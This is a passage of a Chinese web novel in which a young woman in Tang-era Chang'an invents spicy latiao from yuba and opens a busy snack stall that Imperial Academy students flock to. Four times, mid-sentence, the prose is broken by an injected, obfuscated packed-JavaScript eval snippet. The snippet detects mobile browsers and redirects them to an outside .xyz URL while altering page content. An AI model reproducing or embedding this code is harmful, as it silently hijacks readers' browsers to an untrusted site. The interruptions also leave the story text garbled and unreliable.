话里话外也没给余小满留什么拒绝的机会。 这般人情往来，也是常事。 余小满笑着送走了罗文后，才去收桌上的钱。 整整五十文，甚至还给凑了个整。 铺子里暂时也没有生意可做，余小满欢呼一声，脚步轻快去取来了钱匣子。 炸黄豆是小本生意，每日都只会入账一些零碎的铜板。负责管账的唐瑛会在每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811341|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上记好账后，将钱收好。 在长安城的第一桶金，实在是比想象中来得快些。 端着大锅去后院清洗，用丝瓜瓤搓着锅的时候，余小满才突地回过神来。 做着豆腐的初衷，不是叫唐瑛尝尝她的手艺吗？ 这真的掉进钱眼里了，居然没想着给唐瑛留一点。 虽相处不久，但余小满真的能感觉到，唐瑛对她非常的照顾。 事无巨细，却又非常照顾她的想法，生活的方方面面都覆盖到了。 一时间，赚钱的兴奋被愧疚所取代。 今日也没法再去孟舒玉那卖豆腐，余小满只好将糖糕端去院子里，准备一会等唐瑛回来了一块用。 在经过铺子时，她突然发现板凳上多了一个篮子，用微微泛黄的纱布盖着。 应当是孟舒玉留下的。 余小满好奇地掀开来，满满一篮子是微黄长条片装的豆制品，褶皱重叠，边缘微微蜷曲，表面泛着油光。 腐竹！ 她顿时眼前一亮，心中有了想法。 …… 国子监。 罗文提着硕大的食盒，脚步匆忙的穿过长廊。 国子监并不允许小厮进入，他提着食盒，远远看见馔堂，便已经出了一层汗。 这会已经不少监生三三两两往馔堂去了，但罗文在路过馔堂门口时，脚步未停，而是拐进一旁竹丛下的石子小径。 石子路旁草木葳蕤、苍翠的碧竹投下一片斑驳的绿荫。 小径的尽头是朱柱飞檐的六角小亭，四周围青石栏槛，中间有一方石桌。 不知从何而来的潺潺泉水声，应和着飞檐下悬挂的玲珑瓷铃发出的泠泠金石音，顿时驱散了燥热。 这本该是读书论经极好的一个地方。 可小石桌不见书卷笔墨的踪影，却桌上的碗碟饭菜，摆得满满当当。 三五个少年百无聊赖地倚着青石栏槛，不知是谁眼尖，看见了快步走来罗文，大喊道：“罗文兄来了！” 一时间，所有人挺直脊背，面上的懒散一扫而光。 “你怎么才来啊！” “我都快饿昏过去了，宋乾都忍不住要去馔堂吃那寡淡的菜去了。” “少胡说八道！我可一直等着罗文呢！” 少年七嘴八舌，你一句我一句的争辩着，可手上动作却一点不慢，有人接过了食盒，有人端起了碗筷。 国子监的馔堂并不能加热监生自带的吃食，各家的下人便会估摸着时间将饭菜送到国子监门口。 罗文与他们几人自幼相识，便就搭个伙一块在这静谧处，共用各家带来的饭菜。 今日也是几人都说想吃罗府那新来的南方厨子拿手的梅菜肉和蒸糖糕，罗文才费劲地提了这么大一个食盒过来。 “你们几个，又说要吃糖糕，又说要吃炸黄豆，我先是在家等糖糕出锅，又要上街去买炸黄豆，哪有这么快！” 罗文摆摆手，接过了一旁不知谁递来的碗筷。 “不过没有糖糕，炸黄豆也没买着。” 此话一出，小亭子里顿时响起哀嚎声。 “为何！为何！” “是你家厨子不中用了，还是那炸黄豆的小满姑娘转了性了？！为何都没有！” “诶！”罗文充耳不闻这些抱怨，他将煎豆腐端出来，放到小桌的正中央。 “你说对了，这小满姑娘啊还真转性了！！” 8. 研发辣条 他们都是认识余小满的，余小满的炸黄豆确实好吃，再者，他们所有人私下里讨论过，一致都觉得余小满不是一般人。 怎么说他们几人也都是朝中官员家的子弟，自小便请了西席开蒙，如今在国子监求学，将来也都是要入朝为官的。 而余小满一开口，竟有种和他们是一路人的感觉。 从小便识字学规矩，十年如一日的不停歇地提笔、阅读。 书墨的味道早已经完全浸染到了发丝之中。那些纸上的文字和规矩，更是已经深深篆刻进了骨子里。 余小满从未提过她的过去。 可罗文偶尔会觉得，余小满的西席先生或许比他家为他请的先生，或许要更有学问，同样也更为严苛。 如今贸易繁荣，思想开放许多，虽不至于将女子禁锢在家门之中，可要将一个年纪尚轻的姑娘教成这个样子，绝对不是家世一般的人家能做到的。 朝中并未有哪位大儒姓“余”，虽不知她究竟师从何处，可关凭她平日里的谈吐礼仪，众人完全不敢因为她现在只是个卖炸黄豆的商贩，而流露出丝毫的轻蔑和高傲来。 更何况，那几个纨绔去骚扰卖豆腐的孟娘子那事，在国子监里也传开了。 胡博士将这几人用作反面例子，特意警告过他们这些有家世背景的荫监生不要惹事生非。 当今圣上即位后极力在解决已经隐约暴露出来的冗官问题，也极其重视科举，强调学风端正。 科举虽依旧严苛，但各地新增不少书院，不少普通人家的孩子都能得到一个机会。 如此一来，在削减了恩荫入士的名额后，那些纨绔们，甚至可能会比孟舒玉的儿子还要晚一步入朝为官。 一个卖豆腐的年轻寡妇的儿子，能叫胡博士拿出来做例子，这下是谁也不敢随意轻易轻视街边的商贩走卒了，每个人都埋头盯着自己的学业功课去了。 少年们神色各异，罗文也没有多说什么，而是指了指面前的豆腐，招呼道：“尝尝她的新菜。” “她不是只会炸黄豆吗？” 少年们嘟囔着，手上动作却丝毫不慢，夹起一块便往嘴里送去。 食盒的底部装了碳用以保温，因此，豆腐现在还冒着热气。 只是表皮到底是不如刚出锅的时候那般脆，却因为浸透酱汁，更有韧性，配合着依旧鲜嫩的内陷，别有一番滋味。 酱汁味道浓香，微微的辣味好似火苗在舌尖跃动。 不是所有人都能像罗文一样，分辨出香料的好坏，但所有人都能感受到的，是一阵一阵翻涌着将人包裹的刺激。 耳边好似响起西域悠扬小调，直叫人恍惚一瞬自己身在何处。 能一起吃饭的人，口味都相似。 少年人喜好辛辣，尝到这个味道的瞬间，眼中便持续迸发出光亮。 罗文反应最快，即使已经尝过味道了，他依旧还是被惊艳到了。 在其他人还在细品的时候，他已经三两下将豆腐塞进嘴里，边咀嚼着，边伸出筷子。 他的动作立刻让周围的少年反应过来，纷纷朝着他投去谴责的目光，可每个人的动作却是一点不慢，紧随其后齐刷刷伸出了筷子。 小亭中的众人忙着咀嚼，并无人任何人开口说话。 一直到最后一块豆腐落入罗文碗中，方才有人长舒一口气，替所有人发出感慨。 “这实在是太好吃了。” 开口的是鸿胪寺卿家的幼子宋乾，因父亲官职的缘故，他对胡人商队带来的东西，比同龄人更要了解些。 “我听那胡人私下里说，京城没人用得好他们带过来的香料，真该让他们尝尝这豆腐！” 一旁礼部侍郎家的长子王思文插嘴道：“胡博士今日进宫，便是商讨和胡人商贸有关系的事情呢。” 这事罗文也听说了，胡人的商贸团队不断入京，华夷交往不断密切。胡人对原先商贾税收的律法规定略有些意见，不断地通过鸿胪寺向上争取着变革。 胡博士专修律法，此去应当就是为了此事。 宋乾端着碗冷哼一声：“这若是真免了抽解和市税，又降低了关税，岂不是把门打开任由胡人进来捞钱吗？” 这事不仅朝中议论纷纷，国子监内的监生们也都各有看法。 有人觉得是好事，促进贸商贸发展。有人并不看好，觉得不利于京城本土商贸的繁荣。 众人各抒己见，私下里没少为这事争执。 眼看气氛陡然间严肃起来，罗文拧着眉头，筷子拨弄着碗里的白米饭。 他光是吃豆腐就已经是半饱了，如今再看别的菜，只觉得寡淡地提不起兴趣。 商税一事，双方的意见已经听了很多，但罗文现在有更关心的地方。 “你们说，若是真的修了律法，小满姑娘的生意，应该不会受影响吧……” 这是从前完全没有设想过的角度。 宋乾砸吧了一下嘴，有些意犹未尽那鲜香至极的味道：“我从前尝过胡人商队厨子的炙肉，到还是小满姑娘的手艺更合我胃口。” 罗文放下筷子，长叹一口气。 分明是已经吃不下什么了，却还是惦记着那豆腐，只觉得心痒痒，恨不得再吃上几块。 竟真有一家铺子，叫他惦记至此。恨不得放下课业，去再买上一份。 他只是想想，可有人却已经付诸行动了。 “小满姑娘光是炸黄豆可真浪费了好手艺，我们可得多照顾她生意，哪怕胡商真的大批涌进京城了，也得让小满姑娘的铺子开下去。” 宋乾话音刚落，就已经等候不及，像是被自己的一番话鼓舞到了一般，立刻放下碗筷直接站起身来。 “我现在就再去照顾小满姑娘的生意！” 罗文一怔，刚想要去拦，却见一直沉默不语的武子弈站起身来，竟紧随着宋乾踏出亭子。 这下罗文是真的傻眼了，他们几人之中，就数宋乾性子最急，有什么事都冲在前面。 可武子弈的性格却是和宋乾完全相反的。 武子弈是监察御史武城的独子，家风严谨，自小就被告知要谨言慎行、 武子弈可不像是会跟着宋乾凑这般莽撞往外冲的人，他用膳一向细嚼慢咽，刚刚也一直低头吃饭，并没有参与到讨论中来。 这会突然站起来，吓了罗文一大跳。 “你们干嘛去啊！子弈你跟着瞎凑什么热闹！” 罗文的手搭住武子弈的肩膀，却在他转头的一瞬怔住了。 武子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811342|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弈的眼眶有些泛红，目光湿漉漉的，有些怅然和脆弱。 “你……你怎么了？” 武子弈大概是意识到了自己的失态，他抬手揉了揉眼睛，语气却依旧坚定：“我得去找小满姑娘！” 这豆腐，确实好吃到叫人止不住惦记，但也不至于反应这么大吧。 宋乾皱着眉刚想询问，却听见竹林后传来一阵轻微动静。 他倏地转过目光，只见一人从竹林后款步走出，朝着他们拱手。 “偶路过此处，听见几位同窗提到了小满姑娘，可是那三元坊卖炸黄豆的那余小满？” 襕衫的缘边是天青色的，是外舍生。 这人的脸上堆着笑，因为太过于用力，看起来极其不自然。 罗文定睛一看，此人他是认识的，虽是平民出身，刚入外舍也并没有多久，却极其热衷于在一些荫监生和博士面前露脸。 叫什么来着…… 似乎是叫赵岗。 宋乾并未想的那么多，他直接应了一声：“是啊。” 赵岗的眼前顿时一亮，脸上的笑更甚几分，近乎有些谄媚了。 “那真是巧了，我与余小满的关系可不一样，不知诸位仁兄有何事寻她，我或许能帮上一二。” —— 唐瑛提着米袋子拐进巷子里的时候，便闻到了一股从未闻到过的复杂香味。 非常复杂的香味，辛辣刺激，且极具进攻性，好似千军万马迎面飞奔而来。 越往家门口走，这香味便越浓郁。 唐瑛推开门，便看见余小满正满头大汗地蹲在院子里，面前摆着一口锅。 听闻动静抬起头来时，她嘴唇油亮，脸颊泛着不正常的绯红。 一张嘴，还没来得及发出声音，先是吸了一口冷气。 唐瑛心下一惊，将手里的米袋子一扔，甚至顾不上卸下肩上的背篓，三两步便冲到了余小满的面前。 “姐！” 余小满双手端着一口碗，递到了唐瑛面前。 她的眼眸很亮，洋溢着唐瑛从前未曾见过的光彩。 “这……这是什么？” 唐瑛强行压下了情绪，顺着余小满的动作，接过了递来的筷子。 “孟姐送来的腐竹，我用凉水浸泡透了之后，再沥干水分，下锅稍微炸了一下后，淋上了混合的香料。” 当下腐竹的吃法，大多放是在冷碟或者炖菜中。 因为本身只有豆制品的清香，在经过烹煮后，能非常完美的吸收汤汁的味道，使腐竹本身具有多种可能性。 余小满本想煮一锅红烧肉，炒个糖色，再将肉炖煮地软烂，将腐竹一并放进去用大火收汁。 红烧肉里腐竹比肉还好吃，满是浓郁汤汁的香味，却一点也不肥腻，十分下饭。 可当她将浸泡的软趴趴的腐竹从水中捞出来的时候，却又改变了想法。 很显然，不管是能吃辣的罗文还是不能吃辣的孟舒玉，对煎豆腐的评价都非常的好。 这般辛香料的调味，在长安还有很广大的市场。 既然手头不缺油、又有那么多的香料和干辣椒。 有一个大胆的念头一下子就冒出来了。 为什么不试试辣条呢？ 9. 开张前夕 唐瑛用筷子夹起一块腐竹，仔细端详着。 腐竹在油炸前，便已经被切成了小指长短。因为泡发后又煎炸炸，焦黄的表面略微膨胀的气孔，油亮的红油卷着已经研磨成粉的香料和白芝麻，将腐竹裹得严实。 光是闻着便觉得被全身都被着鲜香的辣味调动了一般，天地间的万物都黯然失色，只剩下筷子夹住的这一根腐竹，在散发着油亮的光彩。 虽之前就有尝过辣椒的味道，但这般猛烈浓郁的香味，还是第一次体验。 唐瑛咬了一口。 外壳酥脆，和牙齿接触到的瞬间甚至可以感觉听到清脆的声响。 椒麻鲜香，诸多香料在油脂的作用下交融汇合，叫人根本失去了分辨的能力，那千军万马似是在口中直接交战了一般，极具嚼劲的口感让人止不住得热血沸腾。 那看着骇人的红油，并没有想象中那种辣到不可忍受的地步，那舌尖燃起的一团火，让唐瑛觉得自己好似置身于西北的大漠，被炽热滚烫包围。 那回味而上的甜味，却又让人跌进了柔软的床榻之中，在炽热骄阳之下，身下柔软，身边是无数蒙面的俊朗男人，身披轻纱，双手奉上甘泉…… 这实在是……太具有冲击性的味道了。 唐瑛长舒一口气，额间出来一层薄汗。 “如何？” 唐瑛意犹未尽，语气有些恍惚地轻飘：“这怎么会有这般丰富的味道？” 食品调味的基调为酸、甜、苦、咸。 同时使用了两种以上的味道，会比单独使用一种味所呈现出来的效果要更好，呈现出来的效果是相乘而不是相加的。 而甜味和咸味又有很强的对比效果，本是咸味的调味中，加入白糖，味之间的对比作用，使得甜味和咸味都更加的强烈。① 在煲汤的时候稍稍加盐或者糖，来增鲜提味，便是如此原理。 但辣条这种口味浓郁的食品，更是直接将味与味之间的作用发挥到了极致。 余小满从前上学的时候，辣条便有甜咸口之争。 有人喜欢甜口的，有人喜欢咸辣口的。 但不管是哪一种，甜味都是其中必不可少的存在。 考虑到长安百姓对辣椒的阈值，余小满并没有放很多的辣椒，只是用红油增香，另外用了大量芝麻，来增添香味。 她自己从小就吃辣条，从小时候偷着吃，到长大了光明正大的吃，各式各样辣条也算尝了个便。 如今这条件，能凑上这几种香料已经是天时地利，到底是没法用上科技和狠活，这纯天然的辣条，并没有给余小满带来很强烈的感触和冲击。 好在唐瑛的反应还是很明显的，她甚至没有多问什么，又夹起了一筷子。 “姐，这是是孜然口味的，没有那么辣，你试试。” 辣条吃的就是这个调味，余小满一上午一点也没有闲着，少量多次的调整了很多次香料的配比后，勉强调配出来这两个味道。 孜然味辣味不重，但辛香却一点也不少，因为没有了那舌尖着火一般刺激的辣味，反而叫其他香料的味道有了纵情发挥滋味的机会。 余小满何止是变得鲜活了，她展露出来的行动力，超乎常人的想法和在味觉上的天赋，简直是换了一个人。 思绪至此，唐瑛抹了一把淌下的汗，抬起目光。 只见余小满有些茫然地站在锅灶前，一个劲地挠着脑袋，颇为苦恼的样子。 唐瑛凑过去一看，锅里简直是惨不忍睹，大米连成一片焦黑的锅巴。 这倒不像是有她这般厨艺的人能煮出来的米饭。 也罢，煮饭这种事，余小满干不好，完全可以交给她的。 何况，家里还有罗文留下的糖糕。 余小满将早上如何赚得第一桶金的细节讲唐瑛听。 “罗文啊，是大理寺少卿家的孩子。” 唐瑛咬了一口糖糕，示意余小满快吃。 “他年纪不大，却是个老饕。他家里的厨子也确实厉害，这糖糕比外面卖的要好吃。” 糖糕雪白，内部充满气孔，绵软又微甜。 俩人用糖糕就着香辣腐竹，随意炒了个素菜，边吃着午饭，便商量着铺子事情。 “已经有了想法，那就得尽快开门做生意了。” 余小满扒拉了两口饭，边翻阅着账本。 “豆腐本身的味道还是很重要的，我想去问问孟姐，能不能我们把豆子送过去，叫她多给我们也做些豆腐。” “怕是不行。”唐瑛打断她：“孟姐的摊子开得早，天不亮就起来了、每天卖的，就已经是她能做到的极限了。若是强行找她帮忙，怕是会打乱她和子安原有的作息。” 这倒是，余小满点点头，她没有考虑到这一点。 “豆腐的事，我再去和孟姐商量。腐竹的味道倒是大差不大的，孟姐那有，但估计不多，得再去买些。” “腐竹这东西也放得住，干脆去多买一些好了。” 除了腐竹，还有豆皮也是需要采买的，余小满不会用算盘，并未插手记账的工作。 她只说了贩卖的分量和预估的数目，具体采买多少，便交给唐瑛根据手头的存款来做决定。 二人在饭后休息了一会，避开了午后最盛的阳光。 一人戴着一顶草帽，背着背篓，锁好门后便朝着城西的豆腐摊去了。 唐瑛本不想带着余小满，烈日灼灼，担心她受不住。 可架不住余小满根本闲不住，她对长安城依旧充满好奇，不管是沿街建筑还是摊贩店铺，她都恨不得驻足研究一二。 只是在附近逛逛，已经不能满足余小满了。 俩人一路走走停停，一连去了三家豆腐铺子，这才买够了唐瑛计划腐竹和豆皮的数量。 余小满拽了拽勒肩膀的背篓袋子，有些担忧了起来。 “这太多了吧……” 腐竹这种轻飘飘的东西，居然都能感到沉重，她甚至不敢细问唐瑛，到底花了多少钱。 “你应当对你的手艺有足够的信心才是。” 唐瑛挺直脊背，将刚从果子铺买回来的糖塞到余小满手里。 "这就是粽子糖？" 糖如其名，是小小的三角锥形，透明琥珀色的封存着白嫩的松子。西斜的阳光落在其上，氤氲着茶色淡光，好似真的宝石那样美丽。 余小满是被吆喝声吸引住目光的，唐瑛见她这一路走下来有些力竭，便让她在门口站着等，自己进店去买了一小兜子。 连余小满自己都意识到了，唐瑛出门前的担心并不无道理。 她看向自己捏着粽子糖的手，只稍稍在阳光下暴露了一会，便晒得发红，也确实是娇生惯养了些。 “这糖。”余小满把糖塞进嘴里，边嚼着边道：“等还上钱了，我们也可以试着做做。” 做糖容易，只是眼下还是手头紧些急着还债。短时间内，铺子里主打的东西都会是咸辣口的小食，不太能分得出神来研究其他的。 她思绪跳跃，有些想法和灵感只能暂时先记下来。等到时机合适的时候再做打算。 因为余小满好热闹，喜欢沿着街走。因此回来的时候，她们二人是准备走铺子进的。 铺子在出门前已经锁好了，此时大门紧闭，但门口却站了两个人。 夕阳见他们的身影拉得很长很长，石狮子般，任由行人往来也依旧一动不动的。 “怎么了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811343|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余小满顿时将疲倦抛在脑后，快步上前去。 台阶上站着的人闻言回头，看见余小满后眼前一亮。 “小满姑娘！” “罗公子？” 罗文并不凌厉的五官，在夕阳的勾勒投影下，倒是有几分硬朗的样子。 余小满皱眉，有些担忧地问道。 “是煎豆腐有什么问题，不合口味吗？” 将她面色凝重，似乎是误会了什么，罗文忙摆手解释道：“没有没有，豆腐的味道很好。是我的同窗有些事情想要询问小满姑娘。” 罗文身后的少年往前迈了半步，朝着余小满拱手：“在下武子弈，想问问小满姑娘的豆腐里，是不是放了产自川蜀的豆瓣酱。” 豆瓣酱？ 这少年一看就又不是一般人家的孩子，这余大河带回来的豆瓣酱有什么奇妙之处，竟能叫大户人家的小少爷专程在铺子门口等候。 唐瑛打开铺子大门，笑着招呼道：“外面燥热，二位小公子进屋说话吧。” 一进门，尚未坐下，罗文便皱着鼻子用力闻了闻。 一下午过去，屋里的辣条味早就消散的差不多了，可依旧让他闻了出来残留的些许香味。 “这是明日准备卖的，您尝尝。” 辣条这东西，刚出锅和放置一会的区别不大，在红油里浸一会，反而更有滋味。 罗文接过筷子便品尝了起来，而武子弈则看向余小满，双手捏成拳搭在膝头，看起来有些拘谨。 “家父是益州人，从小长大的村子擅长做豆瓣酱，可自他入朝为官后，便甚少回去家乡。可这豆瓣酱的味道，竟同我五岁时陪同父亲回乡省亲时尝到的味道几乎一样！” “这豆瓣酱，确实是我兄长从川蜀带回来的。”余小满捧着杯子：“铺子明日会卖煎豆腐的，武公子的父亲若是想要尝尝，可以明日来买。” 罗文倏得抬起头来。 “明日便卖？！”他举了举手里的碗：“这个也卖？” “这叫辣条，也卖。” 罗文被辣得直嘶哈，却斩钉截铁道：“我明日会来买的！” 得了这个答案，武子弈也是松了一口气：“能买着就好，家父出巡地方，要过段时间才能回来。到时候再来打扰小满姑娘。” 送走了他们二人，余小满心里也有底多了。 到底是时间紧迫，来不及再做市场调研了。 而罗文这一看就是在吃上颇有心得的人，不过几根腐竹，便已经恨不得一头扎进碗里，几乎将用膳礼节全抛在脑后了。 甚至走时还问了余小满好多遍，确保明日这铺子是开着的，能买到这新的小食，他才舍得离开。 “这不是连回头客都有了吗？” 唐瑛抱着手臂，倚着门框笑道：“我看这生意能成！” 余小满对自己的所学和食材是有绝对信心的，可她深知，食客的口味才是最无法控制的。 香料尚且刚全面普及，醉仙楼那撒了香料辣椒的炙肉尚且算是走在长安餐饮届最前头了。 那她这辣条，足以算得上是激进了。 广大百姓能不能接受，还得等明日铺子开张后，才能见分晓。 —— 因为心里藏着事，即使早早做好准备工作睡下，余小满第二天依旧起得很早。 她晃悠着洗漱完毕后，还是惦记着今日开张的事情。 因为头一天并没有开张卖黄豆，余小满担心为数不多的熟客以为铺子关门不做生意了，也顾不上早饭了，先跑去开了铺门。 谁知刚打开门，一道身影便直接窜了进来。 惊得余小满往后连退两步，一把就抄起了放在一旁的扫帚。 10. 生意兴隆 好在余小满动作不快，在扫帚落下之前，可算是看清了那人的长相。 “罗公子？” 只见罗文抬手理了理衣领，朝着余小满拱手道早。 礼数周全、文质彬彬，好似刚刚那个横冲直撞进来的人并不是他一般。 余小满放下扫帚，眼中满是不解。 她眯着眼看了看罗文，又探头看向长街的景象，半天才脱出一句。 “早？” 罗文微微一笑，颔首道：“我来买煎豆腐和辣条！” 这大少爷定是疯了！也不看看现在是什么时辰！ 余小满把扫帚往墙边一靠，指了指身后空荡荡的灶台。 “您瞧瞧这，放眼长安城，哪有人一早起来吃那辛辣的东西的？你遭得住你这肠胃也遭不住啊，你的肠胃遭得住，我也遭不住起这么早起锅烧油啊。” 也实在是一大清早被荒唐到了，余小满一股脑把心里话全倒了出来。 “这个时辰是吃辣条的时辰吗？您去国子监多看两页文章，都强过在我这里等辣条出锅啊……” “好了好了。” 罗文再拱手，服了软。 本以为余小满变了性子，不会再孜孜不倦的劝人向学了。 如今看来，有些东西刻在骨子里的，还是无法轻易被抹去的。 被劝学支配的恐惧瞬间窜上心头，罗文生怕她还要继续说下去，抢着开口。 “我昨天去打听了一下，才知道你突然不卖黄豆，是因为家中欠了笔不小的债。” 说这话时，罗文把声音压的很低。 这到底是私下打听了一下别人家的私事，并不太光彩，也不好张扬。 他没多说什么，但眉眼间透露出丝丝担忧。 “所以……”余小满抱着手，只觉得有些好笑：“你是怕我连夜跑了？” 罗文虽是家境优渥，可也不是什么都不懂的。 几十两的银子，足够压垮一个家了。 京城中这种欠债还不上，连夜跑路的人也不在少数。 罗文昨晚打听完这事后，躺在床榻上，越想越不是滋味。 那腐竹裹着红油香料的味道又悄然之间从回忆里飘了出来，在深夜里格外的诱人。 勾得人惦记的紧，怎么也睡不着。 因此他一早就醒了，在家草草用过早膳，生怕母亲询问，还特意没带小厮，没乘马车，自己一人便直奔着余小满的铺子来了。 “放心放心，我很喜欢长安，不会轻易跑路的。”余小满拍拍胸脯，向他保证：“你先安下心来去读书，我这要准备的东西多，怎么说也得到辰时末才能开张。” “那行，我已经叮嘱过小厮，让他早些来买。啊，还有一事！” 他先是环顾四周，而后往前探了探身子“你与那叫赵岗的监生相熟？” “包熟的！”余小满拿起扫帚，挥舞两下演示给罗文看：“他昨日就是这样被我轰出去的。” 罗文往后退了半步，沉默一瞬后才道：“他昨日在国子监和我们搭话，话里话外的意思都是他与你关系不一般，和你有关的事情找他就行。你可得多注意点。” 这般普信的男子，还真是存在于历朝历代之中啊。 就凭赵岗先前的话，估计他是信心满满觉得余小满指定没招，会开口来求他的。 这不，对外都开始张扬了，拿她给各位大少爷做人情了。 这心思多如蟑螂一般的男子，还真要小心提防着。 免得一个不留神就爬窜到人面前了，还真怪恶心的。 余小满在三保证，好说歹说把罗文劝走后，才回到后院。 唐瑛已经舀好了粥，招呼她过来吃。 因为昨日煮饭的时候没有把握好水和米的比率，余小满被剥夺了煮饭的资格。 她也不恼，乐呵呵地坐下就开始喝粥。 配菜是腌萝卜，细长的一条，在清晨的阳光下隐隐透着光，尚未送进嘴里，便已经能闻到那酸香。 入口更是脆生，酸味刺激着味蕾，人尚未十分清醒，胃就已经叫嚣着空虚了。 “来，你尝尝隔壁李叔家大肉包子。” 余小满接过，咬了一口。 外皮松软，像是一头扎进了晒过的大棉被里。猪肉馅鲜甜，流淌的汤汁浸入表皮里，一口咬下，竟有种爆汁的效果。 长安的街头餐饮主打的就是一个真诚。 一个包子就着腌萝卜喝粥，吃得余小满直接瘫在椅子上，仰着头发起呆来。 “要是每天吃完饭，就能躺着收钱就好了……” 唐瑛都被这翻理直气壮至极的言论逗笑了。 她端着装满浸泡了一夜的黄豆的木桶，在路过余小满的椅子时，轻轻踢了一下椅子腿：“天底下哪有这么好的事情，快起来干活。” 余小满哼哼唧唧地站起身来，去端起了装满豆皮的盘子。 所有准备工作都是提前做好的，包括浸泡腐竹豆皮和研磨香料。 在唐瑛磨豆腐的时候，余小满来来回回将所有的东西搬到铺子里，便开始起锅烧油了。 —— 罗府的小厮决明比往日更早的就出门了。 只因他家少爷从昨夜就开始叮嘱他，一定要比平日早些去小满姑娘那个连名字都没有的摊子，买新上的小食。 这还是头一回见自家少爷如此上心。 少爷是懂吃的，平日里除了读书写字，便专心致志于尝试新的美味食物。 作为跟在他身边伺候的贴身小厮，决明可谓是府上下人最为羡慕的人了。 不为别的，就光是能跟在少爷身后吃上那一口美味，便很值了。 决明虽不懂到底是得多好吃，才值得提前半个时辰出门，但依旧照做了。 小满姑娘的铺子在三元巷的中间位置，恰好在罗府和国子监的中间位置。 决明和往日一样提着食盒走在长街上，突得便闻到了一股极其浓郁的香味。 有些像先前跟着少爷在醉仙楼吃到的炙肉的香味，但比那复杂霸道许多。 鲜香麻辣四字，简直从书页上活过来一般，大摇大摆的在街上飘荡，肆无忌惮地侵占行人全部的嗅觉。 像是千军万马迎面扑来，横冲直撞地梆梆给了人两拳，被打的头晕眼花不说，甚至也没给人反应的机会便被拽住衣襟，连拖带拽地就被押着往前走了。 太香了！实在是太香了！ 决明一路走一路嗅着，脚步停顿之时，确定了香味的来源后抬头一看。 这不就是小满姑娘的铺子吗？ 再一看，门口乌泱泱竟全是人！ 决明心下一惊，忙站进队伍末端。 还好他是真的将少爷的话放在心上了，今日特意提早出了门，要不然瞧这队伍，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811344|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真要耽误给少爷送饭了。 铺子门口摆着一块木板，端正的楷体书写了菜目，即使站在队伍末端，也能看得清楚。 “脆皮豆腐、香辣腐竹、香辣豆皮、孜然腐竹……” 所有的东西，都是标价十文钱。 有被香味吸引来的人，站在一旁围观，看见这个标记后，皱着眉犹豫了一会，嘟囔了一句“太贵了”。 但那人也没有急着走，而是站在原地观望着。 无他，只因实在是太香了。 尤其是有些已经买到了的人，直接端着油纸袋子在铺子门口吃了起来。 虽然每个人都吃得直嘶哈，但手上动作一点也不带停，吃得两眼放光、满嘴流油的样子别提多馋人了。 门口等待的人虽多，但余小满的动作很快，她带着一块花色的头巾，衣袖用襻膊束起，半截光洁白皙的小臂裸露在外，动作干脆又利索。 “您好，要些什么。” 余小满将油纸袋子递给食客，熟练地开口，在看见决明的时候，怔了一瞬。 “你是罗公子府上的……” 决明没想到余小满能认出他来，忙道：“我叫决明，招牌上所有的小食都来上一份。” “你来得刚巧，第一锅豆腐和豆皮就剩下最后两份了。” 余小满拿起长筷子，从锅里夹出豆腐放到油纸袋子里，又撒上研磨好的五香粉。 粉末细腻，稍有风一吹便会飘散，叫队伍前的食客止不住地咽口水来。 罗文也没抗住诱惑，他捏了捏腰间的荷包，犹豫片刻后，指了指一早就拌好的豆皮：“多给我来一份这个吧。” 微微褶皱的豆皮裹着红油，表面撒着白芝麻，色泽油亮红润，看起来颇为诱人。 “好嘞。” 一份的数量是固定的，余小满装袋的动作很快，在每个袋子中放上两根竹签，递给了已经将铜板放进钱匣子里的决明。 决明提着五六包的油纸袋子，挤出排队的人群，刚准备找个空处将自家少爷的那份放进食盒里。 突地一道阴影突然覆盖住了他的面前。 决明抬头，就见一身着短褂的壮汉如同小山一般地站在了他的面前。 壮汉搓着手，咧嘴笑得朴实：“这位小公子，我想跟你商量一下，买你这一份的豆腐，我可以多出五文钱。” 